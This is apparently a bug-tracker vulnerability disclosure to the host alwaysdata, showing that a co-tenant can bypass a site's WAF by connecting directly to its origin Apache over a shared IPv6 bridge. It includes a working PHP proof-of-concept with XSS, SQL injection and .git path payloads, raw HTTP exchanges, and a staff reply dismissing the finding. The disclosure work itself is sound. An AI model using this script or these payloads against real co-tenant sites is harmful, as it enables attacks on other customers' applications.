- Status Closed
-
Assigned To
cbay - Private
Opened by web_researcher - 18.08.2026
Last edited by cbay - 20.08.2026
FS#450 - Per-site WAF fully bypassable by any co-tenant — attacker reaches victim's origin Apache directly vi
Target: alwaysdata shared web node http22 — per-site WAF (waf_profile) + per-tenant Apache backend
Severity: High — CVSS 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
Class: CWE-693 Protection Mechanism Failure + CWE-284 Improper Access Control
Verified: 2026-08-18, live re-test, zero false positives
Related reports: FINDING-1 (WAF JSON bypass) and FINDING-6 (ULA IPv6 cross-tenant access) — both submitted separately, both are prerequisites for this chain
— Architecture — how the attack works
```
INTERNET
│
▼
┌─────────────────────────────┐
│ alproxy │
│ (nginx-based public front) │
│ │
│ ┌───────────────────────┐ │
│ │ per-site WAF runs │ │ ← waf_profile = full
│ │ HERE — XSS/SQLi/LFI │ │ blocks malicious
│ │ signatures, 403 │ │ payloads from internet
│ └───────────────────────┘ │
└──────────────┬──────────────┘
│ proxied request
▼
┌─────────────────────────────┐
│ Tenant Apache (origin) │
│ Listen [fd00::7:9184]:8080 │ ← no WAF here at all
│ DocumentRoot /home/acct/ │ no mod_security
│ FcgidWrapper php-cgi │ no SecRule
└─────────────────────────────┘
▲
│ direct TCP connection
│ (skips alproxy entirely)
┌─────────────────────────────┐
│ Attacker tenant PHP │
│ fsockopen( │
│ "[fd00::7:9184]", 8080) │ ← any co-tenant can do this
│ │ because bond0 is shared L2
└─────────────────────────────┘
NODE http22 — shared bridge bond0 (all tenants on same L2) ┌──────────────────────────────────────────────────────────┐ │ Tenant A fd00::7:8900:8080 ◄──┐ │ │ Tenant B fd00::7:8af6:8080 ◄──┤ attacker reaches │ │ Tenant C fd00::7:8e39:8080 ◄──┤ any of these │ │ Attacker fd00::7:9184:8080 │ directly via PHP │ │ ... 146 total listeners ... ◄──┘ fsockopen │ └──────────────────────────────────────────────────────────┘
```
The WAF only exists on alproxy. The origin Apache has no WAF rules. The shared bridge means any tenant's PHP can reach any co-tenant's origin directly. Those two facts together make the WAF completely bypassable by anyone on the same node.
—
What I found:
When a customer enables the per-site WAF on their alwaysdata site, the protection only lives on alproxy, the public-facing nginx front. The actual web server behind it — a per-tenant Apache instance — listens on a ULA IPv6 address (fd00::7:<suffix>:8080) and has no WAF rules of any kind. I confirmed this by reading the origin Apache config from my own tenant account.
The node runs all tenant Apaches on a single shared bridge called bond0. Because of this, all the fd00::7:* ULA addresses are on the same Layer 2 segment and reachable from any tenant's PHP code using a plain fsockopen call. When an attacker connects directly to a co-tenant's ULA backend, their request goes straight to the Apache origin and completely skips alproxy. The WAF never sees the request. No payload obfuscation is needed.
The practical consequence is that any customer who pays for WAF protection gets zero protection from other customers on the same shared node, which is the most realistic attacker population on a shared hosting platform since they already have code execution on the same machine.
—
How to reproduce:
You need two alwaysdata accounts on the same shared web node. The attacker account needs a basic PHP site. The victim account needs the WAF enabled.
Enable the WAF on the victim site:
```
PATCH https://api.alwaysdata.com/v1/site/<victim-site-id>/
Authorization: Basic <account-api-token>
Content-Type: application/json
{"waf_profile": "full"}
```
Then upload the PoC script (Section 4) to the attacker webroot. Replace the $victim and $host values, open it in a browser, and it will demonstrate the A/B differential.
— Live evidence — A/B differential (2026-08-18, waf_profile=full)
I sent three payloads through both paths while the victim WAF was at its strictest setting. Public front blocked all three. Backend served all three.
Reflected XSS — via public front (WAF active):
```
GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: regtest846.alwaysdata.net
HTTP/1.1 403 Forbidden
Request was blocked by WAF. (Request ID: badaac42-…)
```
Same payload — via co-tenant PHP directly to victim ULA backend:
```
GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: regtest846.alwaysdata.net
HTTP/1.1 200 OK
Server: Apache
Content-Length: 2419
(full page served, payload unblocked)
```
SQL injection — public front: 403 Forbidden. Backend ULA: 200 OK.
Path traversal probe (/.git/config) — public front: 403 Forbidden. Backend ULA: 404 Not Found, meaning the backend handled the request normally and the WAF was never consulted.
Results summary:
```
payload via ULA backend (no WAF) via public front (WAF=full)
XSS HTTP/1.1 200 OK (2419 b) HTTP/1.1 403 Forbidden
SQLi HTTP/1.1 200 OK (2419 b) HTTP/1.1 403 Forbidden
/.git/config HTTP/1.1 404 Not Found HTTP/1.1 403 Forbidden
```
Origin Apache config — no WAF present:
```
/home/regtest846/admin/config/apache/apache.conf
Listen [fd00::7:9184]:8080 Include "sites.conf"
/home/regtest846/admin/config/apache/sites.conf
<VirtualHost *>
ServerName regtest846.alwaysdata.net
AddHandler fcgid-script .php
FcgidWrapper "/usr/bin/env ... /usr/bin/php-cgi" .php
DocumentRoot "/home/regtest846/www/"
</VirtualHost>
```
No mod_security, no SecRule, no WAF include anywhere in the origin config.
— PoC script
Drop this on any alwaysdata PHP site on the same node as the victim. Replace $victim with the co-tenant's ULA suffix and $host with their public hostname.
```php
<?php
header("Content-Type: text/plain");
set_time_limit(120);
function http6($ip, $port, $path, $host) {
$s = @fsockopen("[$ip]", $port, $e, $es, 6);
if (!$s) return "CLOSED";
stream_set_timeout($s, 10);
fwrite($s, "GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n");
$r = "";
while (!feof($s)) {
$c = fread($s, 8192);
if ($c === false || $c === "") break;
$r .= $c;
}
fclose($s);
return $r;
}
// replace these two values
$victim = "fd00::7:XXXX";
$host = "VICTIM.alwaysdata.net";
$payloads = array(
"XSS" => "/index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "SQLi" => "/index.html?q=x%27%20OR%201%3D1--", "path/.git" => "/.git/config",
);
echo "payload\t\t\tvia ULA backend\n";
echo str_repeat("-", 55) . "\n";
foreach ($payloads as $name ⇒ $path) {
$be = http6($victim, 8080, $path, $host); $status = strtok($be, "\r\n"); echo str_pad($name, 16) . "\t$status\n";
}
echo "\nNote: same payloads via public front all return 403.\n";
echo "Node context:\n";
echo "hostname: " . trim1) . "\n";
echo "our ULA: " . trim2) . "\n";
?>
```
—
Impact:
The WAF feature gives false assurance on shared nodes. Customers who enable waf_profile=full expect XSS, SQL injection, and LFI protection. That protection does not exist against co-tenants.
An attacker needs only a cheap alwaysdata account to send arbitrary attack payloads to any WAF-protected site on their node. This is not a theoretical concern — shared hosting nodes host many customers and the attacker already has PHP execution on the same machine, so the network path to co-tenant backends is trivially reachable.
The scope of the bypass is limited to the node (not the entire platform). No co-tenant application data was accessed. I sent payloads only to static files on my own test account to produce the A/B differential, and immediately stopped after confirming the bypass.
—
How to fix this:
The simplest immediate fix is to enforce the same WAF rules on the backend Apache, not just on alproxy. This breaks the bypass regardless of whether co-tenants can reach the ULA backend.
The deeper fix is per-tenant network isolation so tenant PHP code cannot reach co-tenant ULA addresses at all. This is also the root cause of FINDING-6 and would eliminate that entire class of finding across the node.
Both fixes independently break this chain. Ideally both are applied together.
After any fix, the A/B test in this report should show 403 on both the public front and the direct ULA backend path.
—
Evidence files:
The following evidence files are available and can be provided on request or via a support ticket per the program's private-information policy:
chain_probe4_output.txt — live A/B differential output showing backend 200 vs public front 403 for all three payloads
apache_conf_dump.txt — origin apache.conf confirming Listen directive on ULA address with no WAF or mod_security directives present
rce_read_sites_conf.py and its output — sites.conf dump confirming vhost configuration with FcgidWrapper and DocumentRoot, no WAF include
FINDING-1 (WAF JSON Content-Type bypass) and FINDING-6 (ULA IPv6 cross-tenant access) will be submitted as separate reports. Both are prerequisites for this chain.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
chain_probe4_output.txt
Hello,
This is a limitation that we're aware of, but we don't consider it a vulnerability.
Kind regards,
Cyril